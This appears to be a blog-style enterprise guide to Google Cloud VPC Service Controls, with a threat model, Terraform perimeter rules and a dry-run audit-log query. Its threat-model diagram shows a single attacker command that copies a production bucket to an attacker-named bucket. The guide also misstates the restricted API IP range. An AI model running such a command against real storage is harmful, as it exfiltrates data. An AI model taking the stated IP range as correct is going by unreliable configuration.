Mastering GCP VPC Service Controls: The Enterprise Guide

Google Cloud Compute Infrastructure
1

Identity and Access Management (IAM) controls who can access Google Cloud Platform (GCP) resources, and Virtual Private Cloud (VPC) firewalls dictate where IP traffic flows between compute instances. However, neither mechanism stops a legitimate user or compromised service account from exfiltrating sensitive data to an unauthorized external Cloud Storage bucket or public BigQuery dataset. VPC Service Controls (VPC-SC) closes this exfiltration gap by enforcing a security perimeter around Google Cloud APIs.

1. Why VPC Service Controls? The Threat Model

Standard cloud security controls operate on identity boundaries (IAM) and network infrastructure boundaries (VPC Firewalls). Because Google Cloud managed services (BigQuery, Cloud Storage, Vertex AI, Cloud SQL) are multi-tenant services hosted on public API endpoints (*.googleapis.com), traditional perimeter defenses fail to prevent data movement across project boundaries.

+-----------------------------------------------------------------------------------+
|                              THE DATA EXFILTRATION RISK                           |
|                                                                                   |
|  [Compromised Identity or Service Account]                                        |
|                       |                                                           |
|                       |  1. IAM Permission Check PASSES (User has Read Access)     |
|                       v                                                           |
|        [Production BigQuery / GCS Bucket]                                         |
|                       |                                                           |
|                       |  2. Attacker runs: gsutil cp gs://prod/data gs://attacker |
|                       v                                                           |
|        [External / Personal GCS Bucket] <--- IAM passes, Firewall bypassed!       |
+-----------------------------------------------------------------------------------+

The Exfiltration Vectors VPC-SC Prevents

  • Authorized Insider Copying Data Out: A database administrator with valid IAM roles/bigquery.admin credentials executes a BigQuery extract job from a corporate laptop, copying sensitive PII into a personal Google Cloud account.
  • Compromised Service Account Credentials: A stolen service account key with GCS read access is used outside the corporate network to dump database backups into an arbitrary external bucket.
  • Stolen Service Agent Tokens: A compromised VM inside a VPC uses its compute engine default service account to write internal training datasets out to an untrusted external endpoint.

VPC-SC mitigates these threats by shifting the security model from Identity-Only to Context-Aware Security at the API Layer. An API call is permitted only if the identity and the network context (IP origin, VPC network, device health, source project) satisfy the perimeter rules.

2. Architecture & Core Primitives

VPC Service Controls operates at the Google API Front End (GFE) layer. When a client issues a request to a protected API, the GFE evaluates the request against the perimeter configuration before routing it to the backend service.

Press enter or click to view image in full size

1400×1047 170 KB

Core Architectural Components

  • Service Perimeter: A logical security boundary enclosing one or more GCP projects. Managed service APIs selected inside the perimeter (e.g., storage.googleapis.com, bigquery.googleapis.com) refuse requests originating from outside the perimeter or crossing into unauthorized projects.
  • Access Context Manager (ACM) & Access Levels: ACM defines conditions based on public IP ranges, corporate subnets, user identities, or Chrome Enterprise device posture. Access Levels grant entry through the perimeter boundary.
  • Ingress & Egress Rules: Granular API-level access rules defined within the perimeter. They allow identity, project, and method-specific API communication into (Ingress) or out of (Egress) the perimeter.
  • Perimeter Bridges: Bi-directional connections between two discrete perimeters that allow projects in separate perimeters to share specific Google APIs without merging the perimeters entirely.
  • Restricted VIP (restricted.googleapis.com): A dedicated IP range (199.36.90.4/30) used to route Google API traffic entirely over internal network paths, ensuring protected traffic never traverses public internet routes.

3. Key Enterprise Use Cases

Real-World Use Case 1: Financial & Healthcare Data Isolation (PII/PHI)

Scenario: An enterprise healthcare provider processes electronic health records (EHR) in BigQuery and Cloud Storage.

  • Objective: Ensure healthcare data cannot be read by or copied to external GCP accounts, while allowing data scientists on corporate laptops to run queries.

VPC-SC Implementation:

  • Place production data projects into a dedicated perimeter.
  • Restrict bigquery.googleapis.com and storage.googleapis.com.
  • Define an ACM Access Level permitting access only from corporate VPN public IP ranges and corporate-managed devices.
  • Block outbound storage.objects.create operations directed at non-approved project buckets via strict Egress policies.

Real-World Use Case 2: Multi-Tenant AI/ML Pipeline Security (Vertex AI & Gemini)

Scenario: An engineering organization trains custom LLMs using proprietary source code and customer datasets inside Vertex AI.

  • Objective: Prevent training datasets or fine-tuned model artifacts from being exported to external storage buckets or unauthorized third-party services.

VPC-SC Implementation:

  • Enclose Vertex AI, Artifact Registry, Cloud Storage, and Compute Engine APIs in a single AI perimeter.
  • Configure Egress rules to block connections to external GCS buckets while allowing internal service agents (service-PROJECT_NUMBER@gcp-sa-aiplatform.iam.gserviceaccount.com) to read from internal staging storage.

4. Overcoming Complex Implementation Challenges

Challenge 1: Third-Party SaaS & Multi-Cloud Integrations

External SaaS tools (Fivetran, Databricks, Snowflake) need to read/write data in BigQuery or GCS inside a protected perimeter.

  • Solution (Identity-Bound Ingress Rules): Avoid dynamic public IP whitelisting. Authenticate the SaaS vendor via service accounts or Workload Identity Federation, and restrict access to exact API operations:
# Ingress Rule restricting external SaaS access to specific GCS write operations
ingress_policies {
  ingress_from {
    identity_type = "ANY_IDENTITY"
    identities    = ["serviceAccount:saas-data-ingest@vendor-project.iam.gserviceaccount.com"]
  }
  ingress_to {
    resources = ["projects/987654321012"]
    operations {
      service_name = "storage.googleapis.com"
      method_selectors {
        method = "google.storage.objects.create"
      }
    }
  }
}

Challenge 2: Hidden Managed Service Dependencies

GCP managed services execute API calls across projects using implicit internal service agents (e.g., Dataflow worker nodes communicating with GCS, Compute, and Logging).

  • Solution: Map service agent accounts during discovery. Grant explicit Egress rules or include dependent APIs (Compute Engine, Cloud Storage, Artifact Registry) within the service perimeter boundary.

Challenge 3: CI/CD External Runners (GitHub Actions / GitLab CI)

Deployments from cloud-hosted runners outside the network perimeter are blocked when pushing build artifacts or executing Terraform apply.

  • Solution A: Use self-hosted runners deployed inside a dedicated management VPC inside the perimeter.
  • Solution B: Use Workload Identity Federation paired with an Ingress rule granting the CI/CD identity access solely to deployment endpoints (e.g., artifactregistry.googleapis.com or container.googleapis.com).

6. Phased Migration Methodology

Transitioning to VPC Service Controls without interrupting business operations requires a strict four-phase rollout:

1.Phase 1: Discovery & Log Sink Setup:Prerequisite Phase.

Catalog all projects, active APIs, cross-project service accounts, and external third-party integrations. Create an organization-level Cloud Audit Log sink routing policy logs directly to BigQuery.

2.Phase 2: Network Infrastructure & Dry-Run Deployment:Weeks 1–2.

Configure private DNS zones mapping *.googleapis.com to restricted.googleapis.com (199.36.90.4/30). Deploy all perimeters and Access Levels in DRY_RUN mode using Infrastructure as Code (Terraform).

3.Phase 3: Log Remediation & Policy Iteration:Weeks 2–4.

Query BigQuery to isolate dry-run violations. Differentiate legitimate service interactions from unauthorized calls, and iteratively refine Ingress/Egress policies and Access Context Manager levels.

4.Phase 4: Enforcement & Operational Readiness:Maintenance Window.

Confirm zero unintended violations over 14 consecutive days. Transition perimeters to ENFORCED mode, trigger break-glass procedure drills, and activate SIEM alerting for unexpected blocks.

7. Production Automation & Log Analysis

Terraform Pattern: Perimeter with Scoped Policy & Ingress Rules

To prevent configuration drift, manage all VPC-SC resources declaratively:

#Terraform
resource "google_access_context_manager_service_perimeter" "production_perimeter" {
  parent         = "accessPolicies/${var.access_policy_id}"
  name           = "accessPolicies/${var.access_policy_id}/servicePerimeters/prod_perimeter"
  title          = "Production Data Service Perimeter"
  perimeter_type = "PERIMETER_TYPE_REGULAR"

  status {
    restricted_services = [
      "bigquery.googleapis.com",
      "storage.googleapis.com",
      "secretmanager.googleapis.com"
    ]

    resources = [
      "projects/123456789012" # Production Data Project
    ]

    ingress_policies {
      ingress_from {
        identity_type = "ANY_IDENTITY"
        sources {
          access_level = "accessPolicies/${var.access_policy_id}/accessLevels/corp_vpn_access"
        }
      }
      ingress_to {
        resources = ["*"]
        operations {
          service_name = "bigquery.googleapis.com"
          method_selectors {
            method = "google.bigquery.v2.JobService.InsertJob"
          }
        }
      }
    }
  }
}

Dry-Run Log Diagnostics Query

Execute this query in BigQuery against your centralized Cloud Audit Log dataset to inspect blocked operations during the Dry-Run phase:

SELECT
  timestamp,
  protoPayload.authenticationInfo.principalEmail AS caller_identity,
  protoPayload.serviceName AS target_service,
  protoPayload.methodName AS api_method,
  protoPayload.resourceName AS target_resource,
  protoPayload.metadata.violationReason AS violation_reason,
  protoPayload.metadata.ingressViolations,
  protoPayload.metadata.egressViolations,
  protoPayload.metadata.vpcServiceControlsUniqueId AS violation_id
FROM
  `your_gcp_project.audit_logs.cloudaudit_googleapis_com_policy`
WHERE
  protoPayload.metadata.vpcServiceControlsUniqueId IS NOT NULL
  AND timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
ORDER BY
  timestamp DESC;

Vpc Service Control

Vpcsc

Gcp Vpc Service Controls

Gcp Vpcsc

1 Like